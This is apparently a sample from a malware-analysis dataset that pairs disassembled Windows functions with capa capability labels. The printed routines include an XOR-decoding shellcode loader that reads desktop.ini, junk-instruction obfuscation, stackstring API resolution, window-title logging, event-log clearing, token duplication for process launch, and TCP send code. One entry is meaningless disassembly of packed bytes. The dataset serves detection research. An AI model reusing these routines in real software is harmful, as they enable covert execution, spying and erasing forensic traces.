joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001193
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, str.dpmmBmbvusjWfmjGebfSfmjGfubfsDXfuvdfyFmmfiT
push edi
mov eax, esi
call fcn.1000117f
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
xor ebx, ebx
push str.shell32.dll
mov byte [0x10003029], bl
mov byte [0x10003034], bl
mov byte [0x1000303d], bl
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 0x10003035
push str.kernel32.dll
mov dword [ebp - 4], eax
call esi
push eax
call edi
push 0x1000303e
push str.kernel32.dll
mov dword [ebp - 8], eax
call esi
push eax
call edi
push 1
push ebx
push ebx
push 0x10002058
push ebx
push ebx
mov edi, eax
call dword [ebp - 4]
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
push str.desktop.ini
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [0x10003060], eax
cmp eax, 0xffffffff
je 0x100013f5
push 0x40
mov esi, 0x1000
push esi
push esi
push ebx
call edi
push ebx
push 0x10003064
push esi
push eax
push dword [0x10003060]
mov dword [0x1000305c], eax
call dword [ebp - 8]
mov eax, dword [0x1000305c]
mov cl, byte [eax]
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
movzx ecx, cl
xor ecx, 0x4e
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
xor esi, esi
cmp dword [0x10003064], esi
jbe 0x10001375
mov eax, dword [0x1000305c]
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003064]
jb 0x1000135c
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
call dword [0x1000305c]
pop edi
pop esi
pop ebx
leave
ret 0x10

Function at 0x5eb5f4
Capabilities:
Encode data using xor

Disassembly:
stc
mov dl, 0x6e
xor eax, 0xf71331c0
aaa
mov dl, 0xce
lodsb al, byte [esi]
in al, 0xb6
adc byte [edi], cl
fdivr st(3), st(0)
mov edx, 0x89d33fd2
sar byte [esi], cl
ror dword [ecx - 0x762ec32e], cl
test al, 0x3c
mov ecx, 0x5a4aff9
dec eax
invalid
Function at 0x4bb52d
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x98
mov eax, dword [0x4d734c]
xor eax, ebp
push esi
mov dword [ebp + 0x74], eax
mov esi, ecx
call fcn.004bb4fd
mov eax, 0x400000
push 0x94
mov dword [esi + 8], eax
mov dword [esi + 4], eax
lea eax, [ebp - 0x20]
push 0
push eax
mov dword [esi], 0x3c
mov byte [esi + 0xc], 0
call fcn.004aa0a0
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x10], 2
jne 0x4bb591
cmp dword [ebp - 0x1c], 5
jb 0x4bb5a9
jmp 0x4bb5a5
cmp dword [ebp - 0x10], 1
jne 0x4bb5a9
cmp dword [ebp - 0x1c], 4
ja 0x4bb5a5
jne 0x4bb5a9
cmp dword [ebp - 0x18], 0
jbe 0x4bb5a9
mov byte [esi + 0xc], 1
lea ecx, [esi + 0x18]
mov dword [esi + 0x10], 0x710
mov dword [esi + 0x14], 0x4d25c8
call fcn.00435f91
test eax, eax
jge 0x4bb5ca
mov byte [0x4d81a4], 1
mov ecx, dword [ebp + 0x74]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.004b62ce
add ebp, 0x78
leave
ret

Function at 0x431002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43100c
nop
nop
pop eax
nop
nop
nop
nop
add eax, 0x403e6a
nop
sub eax, 0x403e10
nop
nop
nop
nop
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
add ebx, 4
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x431030
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43101e
nop
popal
nop
nop
nop
nop
nop
jmp fcn.00401219
Function at 0x1000101e
Capabilities:
Contain obfuscated stackstrings

Disassembly:
jmp 0x1000cf40
sub esp, 0x16c
push ebx
push ebp
push esi
push edi
mov edi, ecx
mov al, 0x65
mov cl, 0x6c
mov byte [esp + 0x29], al
mov byte [esp + 0x2c], al
mov byte [esp + 0x1e], al
mov byte [esp + 0x21], al
mov byte [esp + 0x25], al
mov byte [esp + 0x2d], cl
mov byte [esp + 0x32], cl
mov byte [esp + 0x33], cl
mov byte [esp + 0x24], cl
lea eax, [esp + 0x1c]
lea ecx, [esp + 0x28]
mov dl, 0x72
push eax
push ecx
mov byte [esp + 0x30], 0x6b
mov byte [esp + 0x32], dl
mov byte [esp + 0x33], 0x6e
mov byte [esp + 0x36], 0x33
mov byte [esp + 0x37], 0x32
mov byte [esp + 0x38], 0x2e
mov byte [esp + 0x39], 0x64
mov byte [esp + 0x3c], 0
mov byte [esp + 0x24], 0x43
mov byte [esp + 0x25], dl
mov byte [esp + 0x27], 0x61
mov byte [esp + 0x28], 0x74
mov byte [esp + 0x2a], 0x46
mov byte [esp + 0x2b], 0x69
mov byte [esp + 0x2e], 0x41
mov byte [esp + 0x2f], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [edi + 0x1c]
mov ebx, eax
mov eax, ecx
sub eax, 2
je 0x1000d003
sub eax, 2
je 0x1000cffc
sub eax, 2
je 0x1000cff5
mov esi, ecx
jmp 0x1000d008
mov esi, 5
jmp 0x1000d008
mov esi, 3
jmp 0x1000d008
mov esi, 1
lea edx, [esp + 0x3c]
lea ebp, [edi + 0x20]
push edx
push ebp
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
xor ecx, ecx
cmp eax, 0xffffffff
mov dword [esp + 0x10], ecx
mov byte [esp + 0x10], 0x70
mov dword [esp + 0x14], ecx
mov byte [esp + 0x18], cl
je 0x1000d075
cmp esi, 1
jne 0x1000d04b
mov edx, dword [esp + 0x58]
mov ecx, dword [esp + 0x5c]
mov dword [esp + 0x11], edx
mov dword [esp + 0x15], ecx
mov esi, 3
jmp 0x1000d08a
cmp esi, 3
jne 0x1000d061
xor edx, edx
mov esi, 2
mov dword [esp + 0x11], edx
mov dword [esp + 0x15], edx
jmp 0x1000d08a
cmp esi, 5
jne 0x1000d086
mov dword [esp + 0x15], 0xffffffff
mov esi, 3
jmp 0x1000d08a
xor ecx, ecx
mov esi, 2
mov dword [esp + 0x11], ecx
mov dword [esp + 0x15], ecx
jmp 0x1000d08a
mov esi, dword [esp + 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0
push 0x80
push esi
push 0
push 2
push 0x40000000
push ebp
call ebx
cmp eax, 0xffffffff
jne 0x1000d0c3
xor eax, eax
mov dword [edi + 0x128], eax
mov dword [edi + 0x12c], eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x16c
ret
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [esp + 0x10]
push 9
push edx
mov ecx, edi
call fcn.10001285
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x16c
ret
Function at 0x1000105f
Capabilities:
Get number of processors

Disassembly:
jmp 0x10010f50
push 0xffffffffffffffff
push 0x1002066e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
mov eax, dword [esp + 0x54]
push ebx
push ebp
push esi
push edi
mov esi, ecx
push eax
mov dword [esp + 0x14], esi
call fcn.10001136
xor eax, eax
mov dword [esi + 0x24], 0x100230a4
mov dword [esp + 0x5c], eax
mov dword [esp + 0x14], 0x7f8a
mov dword [esp + 0x18], 0x7f00
mov dword [esp + 0x1c], 0x7f03
mov dword [esp + 0x20], 0x7f8b
mov dword [esp + 0x24], 0x7f01
mov dword [esp + 0x28], 0x7f81
mov dword [esp + 0x2c], 0x7f88
mov dword [esp + 0x30], 0x7f80
mov dword [esp + 0x34], 0x7f86
mov dword [esp + 0x38], 0x7f83
mov dword [esp + 0x3c], 0x7f85
mov dword [esp + 0x40], 0x7f82
mov dword [esp + 0x44], 0x7f84
mov dword [esp + 0x48], 0x7f04
mov dword [esp + 0x4c], 0x7f02
mov dword [esp + 0x50], eax
lea ebp, [esp + 0x14]
lea edi, [esi + 0x68]
mov ebx, 0x10
mov eax, dword [ebp]
push eax
push 0
mov dword [edi - 0x40], eax
call dword [sym.imp.USER32.dll_LoadCursorA]
mov dword [edi], eax
add ebp, 4
add edi, 4
dec ebx
jne 0x10011011
mov ebx, 1
push 0x110
mov byte [esp + 0x60], bl
mov dword [esi], 0x10023098
mov byte [esi + 0x13], bl
mov dword [esi + 0x18], 8
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [esp + 0x64], eax
test eax, eax
mov byte [esp + 0x5c], 2
je 0x1001106d
push 0x64
push 0
push 8
mov ecx, eax
call fcn.10001361
jmp 0x1001106f
xor eax, eax
push ebx
push 0
push 0
push esi
push 0x1000108c
push 0
push 0
mov byte [esp + 0x78], bl
mov dword [esi + 0xa8], eax
mov byte [esi + 0x10], bl
mov byte [esi + 0x12], 0
mov byte [esi + 0x11], 0
mov byte [esi + 0x14], 0
call fcn.100013f7
push ebx
push 0
push 0
push esi
push 0x1000103c
push 0
push 0
mov dword [esi + 0x1c], eax
call fcn.100013f7
mov ecx, dword [esp + 0x8c]
add esp, 0x38
mov dword [esi + 0x20], eax
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x50
ret 4
Function at 0x10001064
Capabilities:
Get graphical window text

Disassembly:
jmp 0x1000f310
sub esp, 0x910
push ebx
mov ebx, dword [esp + 0x918]
push esi
push edi
test ebx, ebx
je 0x1000f45c
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov esi, ecx
cmp esi, 1
jb 0x1000f45c
cmp esi, 0x80
ja 0x1000f45c
call dword [sym.imp.USER32.dll_GetActiveWindow]
mov edx, dword [0x10021e9c]
cmp eax, dword [edx + 8]
je 0x1000f406
mov dword [edx + 8], eax
mov ecx, dword [0x10021e9c]
lea eax, [esp + 0x1c]
push 0x100
mov edx, dword [ecx + 8]
push eax
push edx
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov edx, dword [esp + 0x18]
mov ecx, 0x200
xor eax, eax
lea edi, [esp + 0x11c]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x16]
lea ecx, [esp + 0x1c]
push ecx
mov ecx, dword [esp + 0x18]
and edx, 0xffff
and eax, 0xffff
push edx
mov edx, dword [esp + 0x14]
and ecx, 0xffff
push eax
mov eax, dword [esp + 0x1e]
push ecx
mov ecx, dword [esp + 0x1e]
and edx, 0xffff
and eax, 0xffff
push edx
and ecx, 0xffff
push eax
push ecx
lea edx, [esp + 0x138]
push 0x100066b4
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [esp + 0x140]
push eax
call fcn.10001064
mov edx, dword [0x10021e9c]
add esp, 0x28
mov al, byte [edx + 0xc]
test al, al
je 0x1000f41c
push ebx
call fcn.1000119f
mov edx, dword [0x10021e9c]
add esp, 4
mov edi, dword [edx]
mov ecx, esi
add ecx, edi
cmp ecx, 0x400
jbe 0x1000f447
mov ecx, 0x100
xor eax, eax
lea edi, [edx + 0x111]
rep stosd dword es:[edi], eax
mov edx, dword [0x10021e9c]
mov dword [edx], eax
mov edx, dword [0x10021e9c]
add edx, 0x111
push ebx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov eax, dword [0x10021e9c]
add dword [eax], esi
pop edi
pop esi
pop ebx
add esp, 0x910
ret
Function at 0x1000109b
Capabilities:
Acquire debug privileges
Create process on windows

Disassembly:
jmp 0x100149b0
sub esp, 0x80
push ebx
push ebp
xor ebx, ebx
push 0x100068bc
xor ebp, ebp
mov dword [esp + 0x18], ebx
mov dword [esp + 0xc], ebx
mov dword [esp + 0x14], ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp eax, ebx
jne 0x100149e4
pop ebp
xor eax, eax
pop ebx
add esp, 0x80
ret 4
push esi
push edi
push 0x100071e8
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
lea ecx, [esp + 0x1c]
mov dword [esp + 0x20], eax
push ecx
push eax
call sub.WTSAPI32.dll_WTSQueryUserToken
xor edx, edx
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x4c]
mov dword [esp + 0x3c], edx
mov esi, 0x30
rep stosd dword es:[edi], eax
mov dword [esp + 0x40], edx
lea eax, [esp + 0x18]
mov dword [esp + 0x44], edx
push eax
push 0x201eb
mov dword [esp + 0x54], 0x44
mov dword [esp + 0x5c], 0x100071d4
mov dword [esp + 0x50], edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x10014b33
lea ecx, [esp + 0x24]
push ecx
push 0x1000695c
push ebx
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x10014b33
mov edx, dword [esp + 0x24]
mov eax, dword [esp + 0x28]
lea ecx, [esp + 0x10]
mov dword [esp + 0x30], edx
mov edx, dword [esp + 0x18]
push ecx
push 1
push 1
push ebx
push 0x2000000
push edx
mov dword [esp + 0x44], 1
mov dword [esp + 0x4c], eax
mov dword [esp + 0x50], 2
call dword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
test eax, eax
je 0x10014b33
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x20]
push 4
push eax
push 0xc
push ecx
call dword [sym.imp.ADVAPI32.dll_SetTokenInformation]
test eax, eax
je 0x10014b33
mov eax, dword [esp + 0x10]
push ebx
push ebx
lea edx, [esp + 0x34]
push 0x10
push edx
push ebx
push eax
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x10014b33
mov ecx, dword [esp + 0x10]
push 1
lea edx, [esp + 0x18]
push ecx
push edx
mov dword [esp + 0x20], ebx
call dword [sym.imp.USERENV.dll_CreateEnvironmentBlock]
test eax, eax
je 0x10014b03
mov esi, 0x430
jmp 0x10014b07
mov dword [esp + 0x14], ebx
mov edx, dword [esp + 0x14]
lea eax, [esp + 0x3c]
lea ecx, [esp + 0x4c]
push eax
mov eax, dword [esp + 0x98]
push ecx
mov ecx, dword [esp + 0x18]
push ebx
push edx
push esi
push ebx
push ebx
push ebx
push eax
push ebx
push ecx
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
test eax, eax
jne 0x10014b3b
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebp, eax
mov eax, dword [esp + 0x1c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp eax, ebx
je 0x10014b4c
push eax
call esi
mov eax, dword [esp + 0x10]
cmp eax, ebx
je 0x10014b57
push eax
call esi
mov eax, dword [esp + 0x18]
cmp eax, ebx
je 0x10014b62
push eax
call esi
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 0x80
ret 4
Function at 0x100010f0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
jmp 0x10009e20
sub esp, 0x1c
mov al, 0x69
push esi
mov byte [esp + 6], al
mov byte [esp + 8], al
mov byte [esp + 0xb], al
mov byte [esp + 0x10], al
mov byte [esp + 0x12], al
mov byte [esp + 0x1a], al
mov esi, ecx
lea eax, [esp + 4]
xor ecx, ecx
mov dl, 0x74
push eax
push 0x10006550
mov dword [esi], section..rdata
mov dword [esi + 0xc], ecx
mov dword [esi + 4], ecx
mov dword [esi + 8], ecx
mov byte [esp + 0xc], 0x49
mov byte [esp + 0xd], 0x6e
mov byte [esp + 0xf], dl
mov byte [esp + 0x11], 0x61
mov byte [esp + 0x12], 0x6c
mov byte [esp + 0x14], 0x7a
mov byte [esp + 0x15], 0x65
mov byte [esp + 0x16], 0x43
mov byte [esp + 0x17], 0x72
mov byte [esp + 0x19], dl
mov byte [esp + 0x1b], 0x63
mov byte [esp + 0x1c], 0x61
mov byte [esp + 0x1d], 0x6c
mov byte [esp + 0x1e], 0x53
mov byte [esp + 0x1f], 0x65
mov byte [esp + 0x20], 0x63
mov byte [esp + 0x21], dl
mov byte [esp + 0x23], 0x6f
mov byte [esp + 0x24], 0x6e
mov byte [esp + 0x25], cl
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [esi + 0x10]
push ecx
call eax
mov eax, esi
pop esi
add esp, 0x1c
ret

Function at 0x10001122
Capabilities:
Access the windows event log
Clear windows event logs

Disassembly:
jmp 0x1000e250
sub esp, 0x10
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_OpenEventLogA]
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
push esi
push edi
mov dword [esp + 0x14], 0x10006670
mov dword [esp + 0x18], 0x10006664
mov dword [esp + 0x1c], 0x1000665c
lea edi, [esp + 0x14]
mov dword [esp + 0x10], 3
mov eax, dword [edi]
push eax
push 0
call ebx
mov esi, eax
test esi, esi
je 0x1000e2a0
push 0
push esi
call ebp
push esi
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
mov eax, dword [esp + 0x10]
add edi, 4
dec eax
mov dword [esp + 0x10], eax
jne 0x1000e287
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
Function at 0x10001136
Capabilities:
Contain obfuscated stackstrings

Disassembly:
jmp 0x100101a0
sub esp, 0x20
push esi
mov esi, ecx
mov cl, 0x6c
mov al, 0x65
mov byte [esp + 0x19], cl
mov byte [esp + 0x1e], cl
mov byte [esp + 0x1f], cl
mov cl, 0x74
mov byte [esp + 0x15], al
mov byte [esp + 0x18], al
mov byte [esp + 6], al
mov byte [esp + 9], al
mov byte [esp + 0xc], al
mov byte [esp + 8], cl
mov byte [esp + 0xe], cl
lea eax, [esp + 4]
push edi
lea ecx, [esp + 0x18]
mov dl, 0x6e
push eax
push ecx
mov dword [esi], 0x10023080
mov byte [esp + 0x20], 0x6b
mov byte [esp + 0x22], 0x72
mov byte [esp + 0x23], dl
mov byte [esp + 0x26], 0x33
mov byte [esp + 0x27], 0x32
mov byte [esp + 0x28], 0x2e
mov byte [esp + 0x29], 0x64
mov byte [esp + 0x2c], 0
mov byte [esp + 0x10], 0x43
mov byte [esp + 0x11], 0x72
mov byte [esp + 0x13], 0x61
mov byte [esp + 0x16], 0x45
mov byte [esp + 0x17], 0x76
mov byte [esp + 0x19], dl
mov byte [esp + 0x1b], 0x41
mov byte [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [esp + 0x2c]
push esi
mov edi, eax
mov dword [esi + 4], ecx
call fcn.10001195
push 0
push 0
push 1
push 0
call edi
mov dword [esi + 8], eax
mov eax, esi
pop edi
pop esi
add esp, 0x20
ret 4

Function at 0x10001145
Capabilities:
Modify service

Disassembly:
jmp 0x10015a70
sub esp, 0x2c
push ebx
push esi
push edi
xor ebx, ebx
push 0xf003f
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
push 0xf003f
push 0x10006cd0
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
xor eax, eax
mov dword [esp + 0x10], eax
lea ecx, [esp + 0x20]
mov dword [esp + 0x14], eax
push esi
mov dword [esp + 0x1c], eax
mov dword [esp + 0x14], ebx
mov dword [esp + 0x20], eax
mov dword [esp + 0x10], 0x15180
mov dword [esp + 0x28], 0x3e8
mov dword [esp + 0x24], 1
mov dword [esp + 0x30], ebx
mov dword [esp + 0x2c], 1
mov dword [esp + 0x38], ebx
mov dword [esp + 0x34], 1
mov dword [esp + 0x1c], 3
mov dword [esp + 0x20], ecx
mov dword [esp + 0x18], ebx
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
lea edx, [esp + 0xc]
push edx
push 2
push edi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push esi
call dword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x2c
ret
Function at 0x1000114f
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Resolve dns

Disassembly:
jmp 0x1000a990
sub esp, 0x20
push ebx
push ebp
push esi
push edi
mov esi, ecx
call fcn.1000131b
mov eax, dword [esi + 0xac]
push eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov byte [esi + 0xb5], 0
mov eax, dword [0x10021878]
test eax, eax
je 0x1000a9d1
cmp eax, 4
je 0x1000a9d1
cmp eax, 5
je 0x1000a9d1
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x20
ret 8
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [esi + 0xa8], eax
jne 0x1000a9f4
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x20
ret 8
mov eax, dword [0x10021878]
mov ebx, dword [esp + 0x34]
test eax, eax
je 0x1000aa08
push 0x1002187c
jmp 0x1000aa09
push ebx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov edi, eax
test edi, edi
jne 0x1000aa21
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x20
ret 8
mov eax, dword [0x10021878]
mov ebp, dword [esp + 0x38]
test eax, eax
mov word [esp + 0x20], 2
je 0x1000aa3f
mov cx, word [0x1000659c]
push ecx
jmp 0x1000aa40
push ebp
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x22], ax
mov edx, dword [edi + 0xc]
push 0x10
mov eax, dword [edx]
lea edx, [esp + 0x24]
push edx
mov ecx, dword [eax]
mov eax, dword [esi + 0xa8]
push eax
mov dword [esp + 0x30], ecx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x1000aa7b
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x20
ret 8
mov edi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call edi
mov eax, dword [0x10021878]
add esp, 4
cmp eax, 5
jne 0x1000aaa9
push ebp
push ebx
mov ecx, esi
call fcn.100013bb
test al, al
jne 0x1000aaa9
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret 8
push 0x30
call edi
push 0x30
mov byte [esp + 0x1b], 1
call edi
add esp, 8
push 0x100065b0
push 0x100065a0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [esi + 0xa8]
lea ecx, [esp + 0x13]
push 1
push ecx
push 8
push 0xffff
push edx
call eax
test eax, eax
jne 0x1000ab27
push eax
mov edx, dword [esi + 0xa8]
push eax
lea eax, [esp + 0x1b]
push eax
push 0
push 0
lea ecx, [esp + 0x28]
push 0xc
push ecx
push 0x98000004
push edx
mov dword [esp + 0x38], 1
mov dword [esp + 0x3c], 0xea60
mov dword [esp + 0x40], 0x1388
call dword [sym.imp.WS2_32.dll_WSAIoctl]
push 1
push 0
push 0
push esi
push 0x1000106e
push 0
push 0
mov byte [esi + 0xb5], 1
call fcn.100013f7
add esp, 0x1c
mov dword [esi + 0xa4], eax
mov al, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret 8
Function at 0x1000116d
Capabilities:
Create directory

Disassembly:
jmp 0x100158f0
sub esp, 0x104
push ebx
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0xd]
mov byte [esp + 0xc], 0
mov ebx, dword [esp + 0x114]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
xor esi, esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x1001596f
push ebp
mov ebp, dword [sym.imp.MSVCRT.dll_strncpy]
cmp byte [esi + ebx], 0x5c
jne 0x1001595d
push esi
lea eax, [esp + 0x14]
push ebx
push eax
call ebp
lea ecx, [esp + 0x1c]
push 0
push ecx
call dword [sym.imp.MSVCRT.dll__access]
add esp, 0x14
cmp eax, 0xffffffff
jne 0x1001595d
lea edx, [esp + 0x10]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
inc esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp esi, ecx
jb 0x1001592c
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x104
ret

Function at 0x1000119a
Capabilities:
Send data
Send data on socket

Disassembly:
jmp 0x1000b610
push ebx
mov ebx, dword [esp + 0xc]
push ebp
push esi
mov esi, dword [esp + 0x18]
push edi
mov edi, dword [esp + 0x14]
cmp ebx, esi
mov ebp, ecx
mov dword [esp + 0x14], 0
jb 0x1000b67a
mov dword [esp + 0x1c], 0
mov eax, dword [ebp + 0xa8]
push 0
push esi
push edi
push eax
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x1000b659
mov ecx, dword [esp + 0x1c]
inc ecx
cmp ecx, 0xf
mov dword [esp + 0x1c], ecx
jl 0x1000b636
cmp dword [esp + 0x1c], 0xf
je 0x1000b6b0
mov ecx, dword [esp + 0x14]
push 0xa
add ecx, eax
add edi, esi
mov dword [esp + 0x18], ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
sub ebx, esi
cmp ebx, esi
jae 0x1000b62e
test ebx, ebx
jle 0x1000b6a4
xor esi, esi
mov ecx, dword [ebp + 0xa8]
push 0
push ebx
push edi
push ecx
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x1000b69b
inc esi
cmp esi, 0xf
jl 0x1000b680
cmp esi, 0xf
je 0x1000b6b0
add dword [esp + 0x14], eax
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x18]
cmp eax, ecx
je 0x1000b6b3
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
ret 0xc